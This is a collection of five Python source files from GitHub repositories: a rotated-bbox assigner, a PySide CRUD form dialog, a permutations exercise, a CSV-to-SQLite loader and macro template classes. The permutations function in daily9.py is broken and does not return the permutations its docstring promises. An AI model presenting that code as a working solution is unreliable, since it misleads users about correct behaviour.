+{"seq_id":"18613168810","text":"import torch\nfrom mmdet.core.bbox.assigners.assign_result import AssignResult\nfrom mmdet.core.bbox.assigners.base_assigner import BaseAssigner\n\nfrom ..builder import ROTATED_BBOX_ASSIGNERS\n\n\n@ROTATED_BBOX_ASSIGNERS.register_module()\nclass ConvexAssigner(BaseAssigner):\n    \"\"\"Assign a corresponding gt bbox or background to each bbox. Each\n    proposals will be assigned with `0` or a positive integer indicating the\n    ground truth index.\n\n    - 0: negative sample, no assigned gt\n    - positive integer: positive sample, index (1-based) of assigned gt\n\n    Args:\n        scale (float): IoU threshold for positive bboxes.\n        pos_num (float): find the nearest pos_num points to gt center in this\n        level.\n    \"\"\"\n\n    def __init__(self, scale=4, pos_num=3):\n        self.scale = scale\n        self.pos_num = pos_num\n\n    def get_horizontal_bboxes(self, gt_rbboxes):\n        \"\"\"get_horizontal_bboxes from polygons.\n\n        Args:\n            gt_rbboxes (torch.Tensor): Groundtruth polygons, shape (k, 8).\n\n        Returns:\n            gt_rect_bboxes (torch.Tensor): The horizontal bboxes, shape (k, 4).\n        \"\"\"\n        gt_xs, gt_ys = gt_rbboxes[:, 0::2], gt_rbboxes[:, 1::2]\n        gt_xmin, _ = gt_xs.min(1)\n        gt_ymin, _ = gt_ys.min(1)\n        gt_xmax, _ = gt_xs.max(1)\n        gt_ymax, _ = gt_ys.max(1)\n        gt_rect_bboxes = torch.cat([\n            gt_xmin[:, None], gt_ymin[:, None], gt_xmax[:, None], gt_ymax[:,\n                                                                          None]\n        ],\n                                   dim=1)\n\n        return gt_rect_bboxes\n\n    def assign(self,\n               points,\n               gt_rbboxes,\n               gt_rbboxes_ignore=None,\n               gt_labels=None,\n               overlaps=None):\n        \"\"\"Assign gt to bboxes.\n\n        The assignment is done in following steps\n\n        1. compute iou between all bbox (bbox of all pyramid levels) and gt\n        2. compute center distance between all bbox and gt\n        3. on each pyramid level, for each gt, select k bbox whose center\n           are closest to the gt center, so we total select k*l bbox as\n           candidates for each gt\n        4. get corresponding iou for the these candidates, and compute the\n           mean and std, set mean + std as the iou threshold\n        5. select these candidates whose iou are greater than or equal to\n           the threshold as positive\n        6. limit the positive sample's center in gt\n\n        Args:\n            points (torch.Tensor): Points to be assigned, shape(n, 18).\n            gt_rbboxes (torch.Tensor): Groundtruth polygons, shape (k, 8).\n            gt_rbboxes_ignore (Tensor, optional): Ground truth polygons that\n                are labelled as `ignored`, e.g., crowd boxes in COCO.\n            gt_labels (Tensor, optional): Label of gt_bboxes, shape (k, ).\n\n        Returns:\n            :obj:`AssignResult`: The assign result.\n        \"\"\"\n        num_points = points.shape[0]\n        num_gts = gt_rbboxes.shape[0]\n\n        if num_gts == 0 or num_points == 0:\n            # If no truth assign everything to the background\n            assigned_gt_inds = points.new_full((num_points, ),\n                                               0,\n                                               dtype=torch.long)\n            if gt_labels is None:\n                assigned_labels = None\n            else:\n                assigned_labels = points.new_full((num_points, ),\n                                                  -1,\n                                                  dtype=torch.long)\n            return AssignResult(\n                num_gts, assigned_gt_inds, None, labels=assigned_labels)\n\n        points_xy = points[:, :2]\n        points_stride = points[:, 2]\n        points_lvl = torch.log2(points_stride).int()\n        lvl_min, lvl_max = points_lvl.min(), points_lvl.max()\n\n        assert gt_rbboxes.size(1) == 8, 'gt_rbboxes should be (N * 8)'\n        gt_bboxes = self.get_horizontal_bboxes(gt_rbboxes)\n\n        # assign gt rbox\n        gt_bboxes_xy = (gt_bboxes[:, :2] + gt_bboxes[:, 2:]) / 2\n\n        gt_bboxes_wh = (gt_bboxes[:, 2:] - gt_bboxes[:, :2]).clamp(min=1e-6)\n        scale = self.scale\n        gt_bboxes_lvl = ((torch.log2(gt_bboxes_wh[:, 0] / scale) +\n                          torch.log2(gt_bboxes_wh[:, 1] / scale)) / 2).int()\n        gt_bboxes_lvl = torch.clamp(gt_bboxes_lvl, min=lvl_min, max=lvl_max)\n\n        # stores the assigned gt index of each point\n        assigned_gt_inds = points.new_zeros((num_points, ), dtype=torch.long)\n        # stores the assigned gt dist (to this point) of each point\n        assigned_gt_dist = points.new_full((num_points, ), float('inf'))\n        points_range = torch.arange(points.shape[0])\n\n        for idx in range(num_gts):\n            gt_lvl = gt_bboxes_lvl[idx]\n            # get the index of points in this level\n            lvl_idx = gt_lvl == points_lvl\n            points_index = points_range[lvl_idx]\n            # get the points in this level\n            lvl_points = points_xy[lvl_idx, :]\n            # get the center point of gt\n            gt_point = gt_bboxes_xy[[idx], :]\n            # get width and height of gt\n            gt_wh = gt_bboxes_wh[[idx], :]\n            # compute the distance between gt center and\n            #   all points in this level\n            points_gt_dist = ((lvl_points - gt_point) / gt_wh).norm(dim=1)\n            # find the nearest k points to gt center in this level\n            min_dist, min_dist_index = torch.topk(\n                points_gt_dist, self.pos_num, largest=False)\n            # the index of nearest k points to gt center in this level\n            min_dist_points_index = points_index[min_dist_index]\n\n            # The less_than_recorded_index stores the index\n            #   of min_dist that is less then the assigned_gt_dist. Where\n            #   assigned_gt_dist stores the dist from previous assigned gt\n            #   (if exist) to each point.\n            less_than_recorded_index = min_dist < assigned_gt_dist[\n                min_dist_points_index]\n            # The min_dist_points_index stores the index of points satisfy:\n            #   (1) it is k nearest to current gt center in this level.\n            #   (2) it is closer to current gt center than other gt center.\n            min_dist_points_index = min_dist_points_index[\n                less_than_recorded_index]\n            # assign the result\n            assigned_gt_inds[min_dist_points_index] = idx + 1\n            assigned_gt_dist[min_dist_points_index] = min_dist[\n                less_than_recorded_index]\n\n        if gt_labels is not None:\n            assigned_labels = assigned_gt_inds.new_full((num_points, ),\n                                                        -1,\n                                                        dtype=torch.long)\n            pos_inds = torch.nonzero(\n                assigned_gt_inds > 0, as_tuple=False).squeeze()\n            if pos_inds.numel() > 0:\n                assigned_labels[pos_inds] = gt_labels[\n                    assigned_gt_inds[pos_inds] - 1]\n        else:\n            assigned_labels = None\n\n        return AssignResult(\n            num_gts, assigned_gt_inds, None, labels=assigned_labels)\n","repo_name":"open-mmlab/mmrotate","sub_path":"mmrotate/core/bbox/assigners/convex_assigner.py","file_name":"convex_assigner.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":1572,"dataset":"github-code","pt":"60"}
+{"seq_id":"31309142884","text":"if __name__ == \"__main__\":\n    import sys\n    from PySide.QtGui import QApplication\n\n    from koi.base_logging import init_logging\n    from koi.Configurator import init_i18n,load_configuration, configuration\n    init_logging()\n    init_i18n()\n    load_configuration()\n\n    from koi.db_mapping import metadata\n    from koi.datalayer.database_session import init_db_session\n    init_db_session(configuration.database_url, metadata, False or configuration.echo_query)\n\nfrom PySide.QtCore import Slot,Signal,QModelIndex,Qt\nfrom PySide.QtGui import QDialog, QVBoxLayout, QDialogButtonBox, QFormLayout, QHBoxLayout, QPixmap, QPushButton, QItemSelectionModel, QMessageBox, QLineEdit, QWidget\nfrom sqlalchemy.orm.collections import InstrumentedList\n\nfrom koi.Configurator import mainlog\nfrom koi.datalayer.database_session import session\nfrom koi.gui.PrototypedModelView import PrototypedQuickView,PrototypedModelView\nfrom koi.gui.dialog_utils import TitleWidget, SubFrame, showErrorBox, yesNoBox, showWarningBox\nfrom koi.datalayer.generic_access import recursive_defrost_into, generic_delete, generic_load_all_frozen\nfrom koi.gui.FilteringModel import FilteringModel\n\n\nclass FilterLineEdit(QLineEdit):\n\n    key_down = Signal()\n\n    def __init__(self):\n        super(FilterLineEdit,self).__init__()\n\n    def keyPressEvent(self,event):\n        if event.key() == Qt.Key_Down:\n            event.ignore()\n            self.key_down.emit()\n\n        return super(FilterLineEdit,self).keyPressEvent(event)\n\n\nclass MetaFormDialog(QDialog):\n\n    def preselect_item(self,item):\n        # Pay attention ! The selection implictely uses \"__eq__\" to find out\n        # an object in the list of objects. So be careful with objects\n        # that are outside sessions and which have no __eq__ operation : these\n        # will be compared on basis of the python's Id which might defer for\n        # 2 objects denoting the same thing. See Customer for an example.\n\n        # mainlog.debug(\"Preselect item {}\".format(item))\n        # mainlog.debug(\"Preselect item in this list\")\n        # mainlog.debug(\" -- \".join(sorted(map(lambda c:c.fullname,self.list_model.objects))))\n        t = self.list_model.objects.index(item)\n        # mainlog.debug(\"Preselect item index {}\".format(t))\n        self.list_view.setCurrentIndex(self.list_model.index(t,0))\n\n\n    def __init__(self,parent,dialog_title,list_title,form_title,mapped_klass,table_prototype,form_prototype,sort_criterion,index_builder):\n\n        \"\"\"\n        sort_criterion is a SQLAlchemy colum used when querying the list of edited objects to sort it.\n        index_builder : a function that takes an object of the mapped class and returns a string\n           suitable for index building.\n        \"\"\"\n        super(MetaFormDialog,self).__init__(parent)\n\n        self.index_builder = index_builder\n        self.sort_criterion = sort_criterion\n        self.form_prototype = form_prototype\n        self.mapped_klass = mapped_klass\n        # Locate the primary key\n        # this will work only with a one-field PK\n        pk_column = list(filter( lambda c:c.primary_key, self.mapped_klass.__table__.columns))[0]\n        self.key_field = pk_column.name\n\n\n        self.in_save = False\n\n        # The current item is the one currently shown in the\n        # form. If it's None, then the form contains data\n        # for a soon-to-be created item. Else, it's a frozen\n        # copy. Since we work on frozen stuff, we can carry\n        # the object around safely\n\n        self.current_item = None\n\n\n        self.list_model = PrototypedModelView(table_prototype, self)\n\n        self.list_model_filtered = FilteringModel(self)\n        self.list_model_filtered.setSourceModel(self.list_model)\n\n        self.line_in = FilterLineEdit()\n        self.line_in.key_down.connect(self._focus_on_list)\n        self.line_in.textChanged.connect(self._filter_changed)\n\n        self.list_view = PrototypedQuickView(table_prototype, self)\n        self.list_view.setTabKeyNavigation(False)\n\n\n        self.setWindowTitle(dialog_title)\n        self.title_widget = TitleWidget(dialog_title,self)\n\n        self.list_view.setModel(self.list_model_filtered)\n        self.list_view.horizontalHeader().hide()\n        self.list_view.verticalHeader().hide()\n        self.list_view.horizontalHeader().setStretchLastSection(True)\n\n\n        blayout = QVBoxLayout()\n\n        b = QPushButton(_(\"New\"))\n        b.setObjectName(\"newButton\")\n\n        b.clicked.connect(self.create_action)\n        blayout.addWidget(b)\n\n        b = QPushButton(_(\"Save\"))\n        b.setObjectName(\"saveButton\")\n        b.clicked.connect(self.save_action)\n        blayout.addWidget(b)\n\n        b = QPushButton(_(\"Delete\"))\n        b.setObjectName(\"deleteButton\")\n        b.clicked.connect(self.delete_action)\n        blayout.addWidget(b)\n\n        blayout.addStretch()\n\n        self.buttons = QDialogButtonBox()\n        self.buttons.addButton( QDialogButtonBox.Ok)\n\n        # BUG According to QLayout, the layout takes ownership of the widget\n        # therefore, we have to pay attention when deleting...\n\n        form_layout = QFormLayout()\n        for p in self.form_prototype:\n            w = p.edit_widget(self)\n            w.setEnabled(p.is_editable)\n            w.setObjectName(\"form_\" + p.field)\n            form_layout.addRow( p.title, w)\n\n        top_layout = QVBoxLayout()\n        top_layout.addWidget(self.title_widget)\n\n        hl = QHBoxLayout()\n\n\n        vlayout = QVBoxLayout()\n\n        vlayout.addWidget(self.line_in)\n        vlayout.addWidget(self.list_view)\n        # gbox = QGroupBox(list_title,self)\n        # gbox.setLayout(vlayout)\n        gbox = SubFrame(list_title,vlayout,self)\n        hl.addWidget(gbox)\n\n        # gbox = QGroupBox(form_title,self)\n        # gbox.setLayout(form_layout)\n        gbox = SubFrame(form_title,form_layout,self)\n        hl.addWidget(gbox)\n        hl.addLayout(blayout)\n\n        # hl.setStretch(0,0.3)\n        # hl.setStretch(1,0.7)\n        # hl.setStretch(2,0)\n\n        top_layout.addLayout(hl)\n        top_layout.addWidget(self.buttons)\n\n        self.setLayout(top_layout) # QWidget takes ownership of the layout\n        self.buttons.accepted.connect(self.reject)\n\n        QWidget.setTabOrder(self.line_in, self.list_view)\n\n        nb_objs = self._refresh_list()\n        self.line_in.setFocus()\n        self.list_view.selectionModel().currentChanged.connect(self.selected_item_changed) # FIXME Clear ownership issue\n        if nb_objs > 0:\n            self.list_view.selectRow(0)\n        else:\n            # Special case to automaticaly enter creation mode when\n            # the list is empty\n            self.create_action()\n\n    @Slot()\n    def _focus_on_list(self):\n        \"\"\" When the user hits the down key on the filter, we transfer\n        the focus to the filtered list\n        \"\"\"\n        self.list_view.setFocus()\n        self.list_view.selectionModel().setCurrentIndex(self.list_view.model().index(0,0), QItemSelectionModel.ClearAndSelect)\n\n\n    def _filter_changed(self,s):\n        self.list_model_filtered.setFilterFixedString(s)\n        # self.list_view.selectRow(0)\n\n        self.list_view.selectionModel().setCurrentIndex(self.list_view.model().index(0,0), QItemSelectionModel.ClearAndSelect)\n\n    def _refresh_list(self):\n        mainlog.debug(\"_refresh_list\")\n        self.current_item = None\n        objs = self.objects_list()\n\n        self.list_model.buildModelFromObjects(objs)\n        self.list_model_filtered.setIndexData([self.index_builder(o) for o in objs])\n\n        return len(objs)\n\n    def _select_on_object_id(self,o_id,update_view_selection=True):\n        objects = self.list_model.objects\n\n        ndx = -1\n        for i in range(self.list_model.rowCount()):\n            obj = self.list_model.object_at(i)\n            if getattr(obj,self.key_field) == o_id:\n                ndx = i\n                break\n\n        mainlog.debug(\"_select_on_object_id: ndx={}\".format(ndx))\n\n        if update_view_selection:\n            self.list_view.clearSelection()\n\n            # Look where the selected object is in the *filtered* view\n\n            filtered_ndx = self.list_model_filtered.mapFromSource( self.list_model.index(ndx,0))\n\n            mainlog.debug(\"Filtered ndx isValid = {}\".format(filtered_ndx.isValid()))\n\n            if not filtered_ndx.isValid():\n                # The object is not visible in the filtered list.\n                # So we clear the filter to show everything\n\n                # self.line_in.setText(\"\") # This triggers a refresh of the list\n                filtered_ndx = self.list_model_filtered.mapFromSource( self.list_model.index(ndx,0))\n\n            mainlog.debug(\"Filtered ndx isValid = {}\".format(filtered_ndx.isValid()))\n\n            self.list_view.setCurrentIndex(filtered_ndx)\n            self.list_view.selectionModel().setCurrentIndex(filtered_ndx, QItemSelectionModel.NoUpdate)\n            self.list_view.setFocus()\n\n\n\n    def _populate_form(self,obj):\n        mainlog.debug(\"_populate_form with {}\".format(obj))\n        self.current_item = obj\n\n        if obj:\n            for p in self.form_prototype:\n                mainlog.debug(\"   {} -> {}\".format(p.field, getattr(obj,p.field)))\n                p.set_edit_widget_data(getattr(obj,p.field))\n        else:\n            # Clear the form\n            for p in self.form_prototype:\n                p.set_edit_widget_data( p.default_value())\n\n\n    def _load_forms_data(self):\n        d = dict()\n\n        for p in self.form_prototype:\n            # mainlog.debug(\"_load_forms_data : {} = {}\".format(p.field, p.edit_widget_data()))\n            d[p.field] = p.edit_widget_data()\n\n        if self.current_item:\n            d[self.key_field] = getattr(self.current_item, self.key_field)\n        else:\n            mainlog.debug(\"_load_forms_data : no current item\")\n        return d\n\n\n\n    def _data_changed(self, form_data, obj):\n        \"\"\" True if the data in the hash form_data are different\n        than what is in sqla_obj\n        \"\"\"\n\n        def cmp_instrumented_list(a,b):\n            # mainlog.debug(\"cmp_instrumented_list\")\n\n            if len(a) != len(b):\n                return False\n\n            # mainlog.debug(\"cmp_instrumented_list lengths are equal\")\n\n            for i in range(len(a)):\n                if a[i] != b[i]:\n                    # mainlog.debug(u\"cmp_instrumented_list {} != {}\".format(a[i],b[i]))\n                    return False\n\n            return True\n\n        def pixmap_hash(pixmap):\n            \"\"\" Compute a hash of the *content* of a picture.\n            I've tried to use QPixmap.cacheKey() but somehow\n            it's not dependent on content only (thus two\n            Pixmap containing the same picture have different\n            cacheKey() (and the documentation is not quite\n            clear.\n            \"\"\"\n\n            import hashlib\n            # mainlog.debug(\"Hashing pixmap {} {}\".format(id(pixmap),type(pixmap)))\n            m = hashlib.md5()\n            m.update(pixmap.toImage().bits())\n            return m.digest()\n\n        if obj:\n            # Form data compared to actual object content\n            for p in self.form_prototype:\n                if not p.is_editable:\n                    continue\n\n                attr = getattr(obj,p.field)\n                new_attr = form_data[p.field]\n\n                # Be cool with spaces. Note that we can have surplus\n                # spaces from database as well as from the form...\n\n                if type(attr) == str:\n                    attr = attr.strip() or None\n                if type(new_attr) == str:\n                    new_attr = new_attr.strip() or None\n\n                # mainlog.debug(u\"MetaFormDialog : field:{} : obj:{} - form:{}\".format(p.field, attr, new_attr))\n\n                if ( (type(attr) == QPixmap and pixmap_hash(attr) != pixmap_hash(new_attr)) or\\\n                     (type(attr) == InstrumentedList and not cmp_instrumented_list(attr,new_attr)) or\\\n                     (type(attr) != QPixmap and type(attr) != InstrumentedList and attr != new_attr)):\n                    mainlog.debug(u\"_data_changed2 : data are different on {} : '{}' != '{}'\".format(p.field, attr, new_attr))\n                    return True\n            return False\n        else:\n            # Form data compared to empty object\n            for p in self.form_prototype:\n                new_attr = form_data[p.field]\n                mainlog.debug(\"MetaFormDialog : empty ! {} : new_attr {}, default = {}\".format(p.field, new_attr, p.default_value()))\n                # We compare to a non filled object\n                if new_attr and str(new_attr) != u\"\":\n                    # That seems like a change, but we'll consider it\n                    # only if we differ from the default value\n                    # This helps in case we compare to fields which can\n                    # not be None when empty (for example a combo box with\n                    # a few values)\n                    if new_attr != p.default_value():\n                        return True\n            return False\n\n\n    def _validate_and_save(self, form_data):\n        \"\"\" Returns saved object's id or False is save could not be\n        completed (either because there are errors in the validation\n        or because there are other technical errors).\n        \"\"\"\n\n        errors = dict()\n        for p in self.form_prototype:\n            data = form_data[p.field]\n\n            if p.is_editable:\n                v = p.validate(data)\n                if v != True:\n                    errors[p.title] = v\n\n        if len(errors) > 0:\n            info_text = \"\"\n            for field,error in errors.items():\n                info_text += u\"<li>{}</li>\".format(error)\n\n            showErrorBox(_(\"Some of the data you encoded is not right\"),u\"<ul>{}</ul>\".format(info_text))\n            return False\n\n\n        # check = self.check_before_save(self.current_item)\n\n        check = True\n\n        if check == True:\n            try:\n                return self.save_object(form_data)\n            except Exception as e:\n                showErrorBox(_(\"There was an error while saving\"),str(e),e)\n                return False\n        else:\n            showErrorBox(_(\"There was an error while saving\"),check)\n            return False\n\n    SAVE_DECLINED_BY_USER = -1\n    SAVE_FAILED_BECAUSE_OF_ERRORS = -2\n\n    def _save_if_necessary(self):\n        \"\"\" Returns :\n        - primary key if something was saved\n        - True if the user choose to not save (for wahtever reason) or a save\n          was not needed (no data changed)\n        - False if there were errors during the save\n        \"\"\"\n\n        form_data = self._load_forms_data()\n        mainlog.debug(\"_save_if_necessary: form_data = {}\".format(form_data))\n        if self._data_changed(form_data, self.current_item):\n            ynb = yesNoBox(_(\"Data were changed\"),\n                           _(\"You have changed some of the data in this. Do you want to save before proceeding ?\"))\n\n            if ynb == QMessageBox.Yes:\n                saved_obj_id = self._validate_and_save(form_data)\n                mainlog.debug(\"_save_if_necessary: saved object id  {}\".format(saved_obj_id))\n                if saved_obj_id != False:\n                    mainlog.debug(\"_save_if_necessary: returning  {}\".format(saved_obj_id))\n                    return saved_obj_id\n                else:\n                    # There were errors while trying to save\n                    return False\n\n        return True\n\n\n    @Slot(QModelIndex,QModelIndex)\n    def selected_item_changed(self, current, previous):\n\n        mainlog.debug(\"selected_item_changed old: {} new: {} in_save:{}\".format(previous.row(),current.row(), self.in_save))\n\n        # The test below avoids some recursion. It's a bit more clever\n        # than it looks. What happens is this. The user modifies\n        # some data then ask to change the edited object (in the left list)\n        # Doing so it triggers this method. The program then save (if\n        # necessary). But that save may trigger a reorganisation of the\n        # list. So what the user has selected may be at a different\n        # index than the \"current\" one we received as a parameter\n        # of this method. To account for that we actually reselect\n        # the item in the table. And this triggers the recursion we avoid\n        # here. FIXME there is a recursion but the way we avoid\n        # it is not 100% satisfactory, we should use a \"semaphore\"\n        # for that.\n\n\n        if current.isValid() and current.row() >= 0 and \\\n           current.row() != previous.row():\n\n            ndx = self.list_model_filtered.mapToSource(self.list_model_filtered.index(current.row(),0))\n            target = self.list_model.object_at(ndx.row())\n\n            mainlog.debug(\"selected_item_changed: trying to save something\")\n            if (not self.in_save) and type(self._save_if_necessary()) is int:\n                # Something was actually saved\n                mainlog.debug(\"selected_item_changed : something was saved starting list refresh\")\n                self.in_save = True\n                self._refresh_list()\n                self._select_on_object_id(getattr(target,self.key_field))\n                self.in_save = False\n                # mainlog.debug(\"selected_item_changed : done list refresh\")\n            self._populate_form(target)\n\n\n\n    # FIXME Qt Bug ??? Mismatch between the parameters of the signal in the doc\n    # and what I really get (no param...)\n    @Slot(bool)\n    def create_action(self):\n        self.list_view.clearSelection()\n        self._populate_form(None)\n        self.form_prototype[0].edit_widget(None).setFocus(Qt.OtherFocusReason)\n\n    @Slot(bool)\n    def save_action(self):\n        # mainlog.debug(\"Current row is {}\".format(self.list_view.currentIndex().row()))\n\n        self.in_save = True\n        form_data = self._load_forms_data()\n        obj_id = self._validate_and_save(form_data)\n\n        # Following a save, the position of the object in the\n        # list might have changed. So we need to reload the\n        # list to account for that and we also need to reselect\n        # the object\n\n        if obj_id != False:\n            # mainlog.debug(\"Save action : refreshing\")\n            self._refresh_list()\n            # mainlog.debug(\"Save action : selecting\")\n            self._select_on_object_id(obj_id)\n\n        self.in_save = False\n\n\n    @Slot(bool)\n    def delete_action(self):\n        if self.current_item:\n            o_id = getattr( self.current_item, self.key_field)\n\n            if o_id >= 0: # For some reason I have o_id = 0 somewhere...\n\n                # mainlog.debug(\"About to delete {}\".format(o_id))\n\n                try:\n                    if self.delete_object(o_id):\n                        self.current_item = None # Do this only if delete was successful !\n                        self.in_save = True\n                        self._refresh_list()\n\n                        # The current filter might lead to a 0-length list\n                        # or we might delete the only item of the list\n                        # In that case, we clear the form.\n\n                        if self.list_view.model().rowCount() > 0:\n                            self.list_view.selectRow(0)\n                        else:\n                            self._populate_form(None)\n\n                        self.in_save = False\n\n                except Exception as e:\n                    showErrorBox(_(\"There was an error while deleting\"),str(e),e)\n                    return\n\n            else:\n                mainlog.error(\"The current object has no id => I can't delete it\")\n        else:\n            showWarningBox(_(\"You have selected nothing for delete.\"),None)\n            return\n\n\n    def done(self,x):\n        current_ndx = self.list_view.currentIndex().row()\n        if self._save_if_necessary():\n            super(MetaFormDialog,self).done(x)\n        # here be dragons\n\n    def check_before_save(self,obj):\n        return True\n\n\n    def save_object(self,form_data):\n        \"\"\" Save object hook\n        \"\"\"\n\n        c = recursive_defrost_into(form_data, self.mapped_klass)\n        session().commit()\n        return getattr(c, self.key_field)\n\n    def delete_object(self,o_id):\n        generic_delete(self.mapped_klass, o_id)\n        return True\n\n    def objects_list(self):\n        \"\"\" Reload the objects from the database.\n        :return: a list of DTO.\n        \"\"\"\n        return generic_load_all_frozen(self.mapped_klass, self.sort_criterion)\n\n\nif __name__ == \"__main__\":\n\n    app = QApplication(sys.argv)\n    # widget = EditCustomerDialog(None)\n    # widget = EditEmployeeDialog(None,dao)\n    # widget = EditUserDialog(None,dao)\n    widget = EditOperationDefinitionsDialog(None)\n    widget.show()\n\n    app.exec_()\n","repo_name":"wiz21b/koi","sub_path":"koi/gui/MetaFormDialog.py","file_name":"MetaFormDialog.py","file_ext":"py","file_size_in_byte":20756,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"45745867260","text":"'''\n* Difficulty: Medium\n* Asked by: Microsoft\n* Problem: Given a number in the form of a list of digits, return all possible permutations.\nFor example, given [1,2,3], return [[1,2,3],[1,3,2],[2,1,3],[2,3,1],[3,1,2],[3,2,1]].\n\n\nTime Taken:\nRunTime:\nSpace Complexity:\n\nDescription:\n'''\n\ndef permutations(lst):\n    if len(lst) == 0:\n        return\n    if len(lst) == 1:\n        return lst\n\n    result = []\n\n    for i in range(len([lst])):\n        char = lst[i]\n        permus = lst[:i] + lst[i+1:]\n        for perm in permutations([permus]):\n            temp = [char] + [perm]\n            result.append(temp)\n\n    return result\n\n\ndef main():\n    for perm in permutations([1,2,3]):\n        print (perm)\n\n    # for perm in permutations([1,2,3,4]):\n    #     print (perm)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"PatrickGhadban/DailyCodingProblem","sub_path":"daily9.py","file_name":"daily9.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22908011882","text":"#from src.db_handling import add_user, add_rating, add_stat, add_mensa, add_feedback, add_food\nimport csv, sqlite3\nimport pandas as pd\nimport os\n\ndb_path = \"mensabot.db\"\ncsv_files = [\"feedback.csv\", \"food.csv\", \"foodrating.csv\", \"mensa.csv\", \"stat.csv\", \"user.csv\"]\n\ncolumn_names = {\n    \"mensa\": [\"id\", \"name\", \"short_name\"],\n    \"food\": [\"id\", \"description\", \"price\", \"date\", \"mensa_id\"],\n    \"user\": [\"id\", \"chat_id\", \"subscription_time\", \"subbed_mensas\"],\n    \"foodrating\": [\"id\", \"date\", \"rating\", \"user_id\", \"food_id\"],\n    \"stat\": [\"id\", \"datetime\", \"total_users\", \"subbed_users\", \"ratings\"],\n    \"feedback\": [\"id\", \"datetime\", \"feedback_text\", \"user_id\"]\n}\n\ncon = sqlite3.connect(db_path)\n\nif __name__ == \"__main__\":    \n    for csv_file in csv_files:\n        table_name = os.path.splitext(os.path.basename(csv_file))[0]\n        df = pd.read_csv(csv_file, names=column_names[table_name])\n\n        try:\n            df.to_sql(table_name, con, if_exists='append', index=False)\n        except sqlite3.IntegrityError:\n            print(\"Table already inserted.\")","repo_name":"zapfdk/tui-mensa-bot","sub_path":"load_csv_to_sqlite.py","file_name":"load_csv_to_sqlite.py","file_ext":"py","file_size_in_byte":1065,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"35474868748","text":"\nimport re\nfrom functools import partial\nfrom pathlib import Path\nfrom typing import Callable, List, Optional, Type, TypeVar, Union\n\nfrom mus.macro.job import MacroJob\nfrom mus.util import ssp\nfrom mus.util.ssp import Atom\n\n\ndef getBasenameNoExtension(filename: Path) -> str:\n    rv = filename.name\n    if '.' in rv:\n        return rv.rsplit('.', 1)[0]\n    else:\n        return rv\n\n\ndef fn_resolver(match: re.Match,\n                job: MacroJob,\n                resfunc: Callable) -> str:\n    \"\"\"\n    Helper function to resolve the different filename\n    based template functions.\n\n    Args:\n        match (re.Match): re match object for template element\n        job (MacroJob): Job containing expansion data\n        resfunc (callable): Function converting filename\n\n    Returns:\n        str: resolved template elements\n    \"\"\"\n\n    mg0 = match.groups()[0]\n    matchno = '1' if not mg0 else mg0\n    filename = job.data[matchno]\n    rv = resfunc(filename)\n    return rv\n\n\n# expandable template elements\nTEMPLATE_ELEMENTS = [\n    ('%([1-9]?)f', lambda x: str(x)),\n    ('%([1-9]?)F', lambda x: str(Path(x).resolve())),\n    ('%([1-9]?)n', lambda x: str(Path(x).name)),\n    ('%([1-9]?)s', lambda x: str(Path(x).stem)),\n    ('%([1-9]?)S', lambda x: str(Path(Path(x).stem).stem)),\n    ('%([1-9]?)p', lambda x: str(Path(x).resolve().parent)),\n    ('%([1-9]?)P', lambda x: str(Path(x).resolve().parent.parent)),\n]\n\n\ndef resolve_template(\n        template: Union[str, Atom],\n        job: MacroJob) -> Union[str, Atom]:\n    \"\"\"\n    Expand a % template based on a filename.\n\n    Args:\n        template (str|Atom): Template to expand\n        job (MacroJob): Job containing relevant data\n\n    Returns:\n        str|Atom: resolved template\n    \"\"\"\n\n    # parse over all template elements\n    new_template = template\n    for rex, resfunc in TEMPLATE_ELEMENTS:\n        # Prepare function to expand, pickling with job & resolving function\n        resfunc_p = partial(fn_resolver, resfunc=resfunc, job=job)\n        new_template = re.sub(rex, resfunc_p, new_template)\n\n    if isinstance(template, Atom):\n        return template.update(new_template)\n    else:\n        return new_template\n\n\nclass MacroElementBase():\n    \"\"\" Base element - just returns the elements as a string\"\"\"\n    def __init__(self,\n                 macro,\n                 fragment: str,\n                 name: str) -> None:\n        self.fragment = fragment\n        self.macro = macro\n        self.name = name\n\n    def expand(self):\n        raise NotImplementedError\n\n\nclass MacroElementText(MacroElementBase):\n    \"\"\"Just a piece of text - but expand % macros\"\"\"\n\n    def render(self,\n               job: MacroJob) -> str:\n        \"\"\"\n        Render this text element, expand template\n\n        Args:\n            job (Type[MacroJob]): Job\n\n        Returns:\n            str: Rendered fragment\n        \"\"\"\n        rv = resolve_template(self.fragment, job)\n        return rv\n\n    def __str__(self):\n        return f\"Text   : '{self.fragment}'\"\n\n\nclass MacroElementSSP(MacroElementText):\n\n    def __str__(self):\n        return f\"Output : '{self.fragment}'\"\n\n    def render(self,\n               job: MacroJob) -> str:\n        item = job.data[self.name]\n        item = resolve_template(item, job)\n        job.rendered[self.name] = item\n        return item\n\n    def expand(self):\n        ssp_expand = ssp.SSP(self.fragment)\n        yield from [(self.name, x)\n                    for x in ssp_expand.stack]\n","repo_name":"mfiers/mus","sub_path":"mus/macro/elements.py","file_name":"elements.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
